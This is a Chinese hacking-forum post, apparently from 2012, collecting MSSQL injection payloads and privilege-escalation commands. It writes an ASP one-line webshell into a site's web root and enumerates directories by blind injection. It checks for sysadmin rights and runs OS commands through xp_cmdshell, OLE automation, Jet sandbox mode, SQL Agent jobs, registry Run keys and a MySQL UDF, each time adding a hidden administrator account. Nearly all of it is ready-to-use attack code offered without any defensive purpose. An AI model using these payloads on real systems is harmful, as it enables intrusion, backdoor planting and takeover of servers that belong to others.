找回密码
 立即注册
查看: 3138|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马
, f* ^) s6 ?8 Y, @$ J首先确定网站的WEB路径0 o0 x$ X. `  H
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
: T+ C  B: g9 K1 r/ U. a3 g6 s
" p0 [' e0 h. A7 _$ y;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
  k/ x/ s5 T+ ]0 D! h5 m//将一句话木马插入表中
# K) N4 f  `# e5 U( ~
# v- E. z% G. x;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
) ^8 e9 T( f% J% i0 ?//导出一个ASP文件
/ F, C: I) a7 z  h# e. Q$ _) b. l2 x# }: U: G

/ {  `& o) G: Q) R关于MSSQL列目录
) O+ k; i# g$ V4 c;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
3 W$ Y8 j2 d+ }Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表: }4 G  r* P" m  }2 `7 j& h
& O- P) o8 [- T. \' d% w8 e
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
' M/ z* e7 w7 }3 V, Q8 u- f7 m1 S, ^
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段8 }( v) o0 P, T$ e6 |
1 Q) G; A4 n5 h- i
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
% h1 L0 A" ?3 k. R( t1 h* C5 F; g3 t2 Z  l1 u

  i+ }$ f. \! G6 d1 _3 k数据库版本和权限查看, C7 t! [' [( q1 q
and 1=(select @@VERSION) //查看详细的数据库信息.1 P+ l7 L! R# W
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA: h! p: P1 M% T' G
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
3 R8 X0 K9 F: R/ C5 L7 U. u3 Q% k2 P, U3 x$ j! K) U$ x
( x( {2 k& _' t3 {
1.利用xp_cmdshell执行命令$ c8 h, D4 ~) v2 t1 c" f
exec master..xp_cmdshell 'net user rfire 123456 /add'$ p* J) G9 J  G  d
exec master..xp_cmdshell 'net localgroup administrators rfire /add': ?6 O/ ?0 |/ U5 i

! F% A9 m) K; q+ K0 @6 q, e恢复xp_cmdshell存储过程
) r6 Z% m/ s9 m5 P1 R! \Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
, c: a( p! u3 Y) Y$ V
5 o( V/ i7 Y6 k
1 ^* `# @7 g. A$ Q) u2.利用SP_OAcreate和SP_OAMETHOD执行命令
3 b! R- Q2 ~/ y! ]: }) F% Y) k; H在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
2 e/ ]+ i7 m% w+ X( hDECLARE @shell INT //建立一个@shell实体
! w* h+ _8 e* fEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
/ L$ W" ]8 H. ]' U4 S2 ~4 k8 wEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
1 v7 W7 n2 I1 c; p3 z8 f# A
# G6 d1 R- V4 P  ~7 _6 p1 _) ^7 N4 V, v. m$ |
3.利用沙盒模式
; J2 M/ ?* N7 _先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。9 d: k/ L" L) W& v, z! M
开启沙盒模式:' C# g% W& D$ t; M: ^) c* u
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
! |* Y0 Z- I6 X4 i) }, H, {2 h' e
执行命令:- B" F0 V$ D# Z- z' ~( R
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');9 T- c+ X$ e7 C

9 K5 D( v6 p, G+ T  X0 N- @& d4 ]7 [/ S7 ^5 J- I3 v. M2 C- `
4.利用SQL代理执行命令
( t3 X8 B  F4 k0 Y5 P0 QEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
% h: s' w* _  v9 h- x. g3 D. i
% {$ X/ G3 M% k/ T: Y4 o执行命令:7 m% n& O. W  v! d, U
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
( r+ X& r& T" _6 C( W" Kexec sp_add_job 'x'" K) r2 n+ x7 }
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业4 {/ t3 q! f3 Z& }
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业7 I: g: r0 H8 O3 d- F
- a) Q! R: l+ g$ d; z: X
# h* T5 i$ J. `( p1 p
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
5 K0 R  T$ T! ?3 ~! n7 i" q9 AEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'. }( D3 k. k- [) P2 z
: Y# u# T, G4 T! G

8 {- Q3 |$ K# X# X# o6.MYSQL的命令执行
% p  m& f2 T/ d  x0 z2 k4 IMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)9 v1 Z* |: L. e# E
首先要在su.php下导出c:\windows\udf.dll
# L- w6 W# v) v导出后执行创建自定义函数命令:2 i5 |* }) h- b0 P, I* ]
Create Function cmdshell returns string soname 'udf.dll'
3 Q: h! K6 f. y; r执行命令  q0 h  q3 E3 A+ ~$ J8 p% Z
select cmdshell('net user rfire 123456 /add')
8 a# _6 a: k# m7 B) H8 X* N  T执行后删除函数 drop function cmdshell
% \' S: V. c) {* _# S0 O& T3 a5 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表